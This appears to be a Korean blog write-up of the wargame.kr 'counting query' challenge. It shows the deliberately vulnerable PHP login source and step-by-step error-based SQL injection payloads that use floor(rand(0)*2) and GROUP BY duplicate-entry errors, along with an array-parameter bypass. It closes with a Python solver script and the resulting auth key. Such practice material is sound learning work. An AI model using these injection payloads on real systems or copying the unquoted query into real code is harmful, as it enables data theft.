늘모자란, 개발 :: [wargame.kr] Challenge 35 - counting query

늘모자란, 개발

아마 wargame.kr의 마지막 웹 문제 아닐까?

무려 1300점짜리의 error based sqli 문제라고 한다.

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
     exit();
 }
 include("./inc.php"); // database connect.
 include("../lib.php"); // include for auth_code function.

 ini_set('display_errors',false);

 function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
 function uniq($data){ return md5($data.uniqid());}
 function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");}
 function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");}
 function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); }
 function count_init($id) { return mysql_query("delete from login_count where id='$id'"); }
 function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); };

 if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){
  err("Parameter Error :: missing");
 }

 $id=mysql_real_escape_string($_POST['id']);
 $ps=mysql_real_escape_string($_POST['pw']);
 $type=mysql_real_escape_string($_POST['type']);
 $ip=$_SERVER['REMOTE_ADDR'];

 sleep(2); // not Bruteforcing!!

 if($id!=$ip){
  err("SECURITY : u can access with allotted id only");
 }

 $row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"));
 if($row[0]!=1){
  if(false === make_id($id)){
   err("DB Error :: create user error");
  }
 }
 
 $row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"));
 $log_count = (int)$row[0];
 if($log_count >= 4){
  pw_change($id);
  count_init($id);
  err("SECURITY : bruteforcing detected - password is changed");
 }
 
 t_table($id); // don`t access the other account

 if(preg_match("/all_user_accounts/i",$type)){
  err("SECURITY : don`t access the other account");
 }

 counting($id); // limiting number of query

 if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){
  err("DB Error :: ".mysql_error());
 }

 $row=mysql_fetch_array($result);
 
 if(empty($row['user_id'])){
  err("Login Error :: not found your `user_id` or `password`");
 }

 echo "welcome <b>$id</b> !! (Login count = $log_count)";
 
 $row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"));

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");

 if($row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"; }

?>


PHP 에러는 display_errors 가 false이므로 나오지 않을것이고,
err는 자바스크립트로 나오게 될 것 같다. 파라미터 id,pw,type은 반드시 필요하고..

id = ip 는 고정값으로 피할 수 없어보인다. ps는 답을 입력하는 칸으로 보이니 자연스럽게 type이나 ps를 이용해 공격을 해야될 것으로 보인다.
mysql_real_escape_string 되어 있으니 특문도 전부 이스케이프 처리되어 쓸 수 없을 것이다. 그리고 zairo처럼 로그인카운트를 세는데, 4번이 넘어가면 패스워드를 바꿔 버린다. 여기를 피해갈 방법은 딱히 안보인다.

훑어보면
false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type"


이부분이 문제다. 쿼리가 esacape되고 있는 가운데 ''로 처리 안되있으니 type이 공격포인트인거 같다.
그래서 이런식으로 꾸며서 보냈더니 에러가 반환되었다.

type = urllib.quote("1; select ps from t_user")


<script>alert("DB Error :: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select ps from t_user' at line 1");window.location.href='./';</script>


몇차례 더 해봤는데 정확히 틀린부분만 날아온다.
이 상태에서 좀 바꿔서 날려봤는데, 에러가 값을 출력하는 공격을 수행해야 된다고 한다.
링크에 따르면 예시 공격법이 있다. floor등을 사용해야 된다는데 잘 이해가 안되지만 일단 그대로 따라해보기로한다.

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables;
+--------+---------+
| sum(5) | a       |
+--------+---------+
|   4970 | 5.7.170 |
+--------+---------+
1 row in set (0.01 sec)

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

옛날 adm1nkjy 였나 kjy 였나 여튼 그걸 풀때랑 비슷한 것 같다. 요점은 같은걸 만들어야 된다는것 같으니 비슷하게 쿼리를 짜보기로 한다.
타게팅할 테이블과 컬럼은 이미 알고있는 상태니까 (t_user와 ps) 그렇게 꾸겨넣어보기로 하자

type = urllib.quote("1 or (select sum(5),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1)")


그랬더니 에러가 다르게 나타났다.

<script>alert("DB Error :: Operand should contain 1 column(s)");window.location.href='./';</script>


찾아보니 부정확한 수의 컬럼이 리턴될때 발생한단다.
쭉 나열해보면

select ps from t_user where user_id='$id' and ps='$ps' and type=1 or (select count(*),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1) 


인건데.. count(*)가 있으니 컬럼이 두개가 되버리는 모양같아 sum(5), 를 제거 했더니 

<script>alert("Login Error :: not found your `user_id` or `password`");window.location.href='./';</script>


가 리턴된다. 그러니까, 저 친구는 필요한 친구인가보다..
그럼 하나를 자르던가 늘리던가 해야되는데 너무 막연해서 구글 검색중에 이런걸 발견했다.

select * from users where (SELECT * from users)=(1,2);


적는와중에도 무슨 뜻인줄 모르겠다. 어쨌든, 1,2 를 하니까 같은 에러가 나와서 1,1 과 0,1를 적었을때 같은 값을 얻을 수 있었다.

<script>alert("DB Error :: Duplicate entry '8d4b1b72abc78cd8226cb44168eff3df1' for key 'group_key'");window.location.href='./';</script>


띠용.. 뭔가 나왔다. ps를 넣고 다했다고 생각했는데 이게 왠일? 안된다.
몇번이고 해봐도 안된다. 가만 생각해보니 인포메이션 스키마에서 긁어봐야 원하는 값이 나올리가 없다고 생각해서, 테이블을 t_user 로 바꿨다가도 해보고, login_count 테이블로 바꿔서 시도를 해봤더니,

임시 테이블은 다시 열수 없다와,
다음과 같이 login count를 세는 친구가 나타났다

welcome <b></b> !! (Login count = 0)


하지만 에러를 일으킨게 어느 시점인지 알수가 없었다. 그냥 돌리다보니 막 나와서 종잡을수가 없었는데..
여러가지 시도를 계속 해보았다. 너무 삽질의 연속이었으니까 패스하고..

번외
이 문제는 error based 공격과 무관하게 이 공격방법에 의해 깨어질 수 있었다
pw를 0으로 보내고, 배열을 만들어 검사를 회피하면된다. 아주 간단히 공격이 성공하는 취약점(-_-)이 있었다
요컨데

id=[USERIP]&ps[]=0&type=2 or 1=1


이런식으로 보내면 ps의 검사에 있어 empty값을 비교하기때문에 일치해 문제를 패스할 수 있다
하지만 이 구문에 의해 패치되었다.

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");


PHP는 배열로 POST값을 넘기는것을 허용하고 있기때문에, 반드시 2차적인 처리가 필요함을 명시하는 문제이다 (이 문제에서 얻을 교훈은 아닌가?)

======

2017.05.19

좀 삽질이 많았으나 위는 그냥 과정이고, 문제를 다시 정리하면 우리에겐 3번의 기회가 있고 4번째는 리셋이다

왜 이걸 간과했는지는 잘 모르겠으나.. error based 공격은 두개의 결과가 같이 나타난다. 즉, ps로 나오는 값은 ps가 아니라, count(*) 의 값도 포함하고 있다는 것이다. 즉, 맨뒤의 1은 ps 그냥 count(*) 된 값으로 제거해야 되는 값이었다 ㅡㅡ

다음은 해결 소스... 

#!/usr/bin/env python
# -*- coding: utf8 -*-
import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

id = "Your IP"
pw = urllib.quote("12345")
type = "1 or (row(1,1) > (select count(*),concat(ps,floor(rand(0)*2))as a from login_count where id=0x{} group by a order by 2)) # ".format(id.encode('hex'))
#type = "1 or (user_id=0x{}) #".format(id.encode('hex'))
pw = urllib.quote("884afd94b647d1436b7e188eb1fbe58f")
data = "id={0}&pw={1}&type={2}".format(id, pw, type)

print data
req = urllib2.Request("http://wargame.kr:8080/counting_query/login_ok.php", data, headers)
response = urllib2.urlopen(req)
res = response.read()
print res


요점은, duplicate 가 일어난 시점에서 가장 뒤의 1을 제거 해주고, type을 그대로 쓰는게 아니라 어드민의 1을 적어주고 아이디를 넣어줘서 정상적인 리퀘스트로 보내야 문제 풀이가 완료된다. 풀고나니 참 허망한 문제로다....

길다 길었어
welcome <b></b> !! (Login count = 3)<h2>wow! auth key is : 3977b3304f38461ce31c67c4d9a208e836814db6</h2>
2016/06/22 05:02 2016/06/22 05:02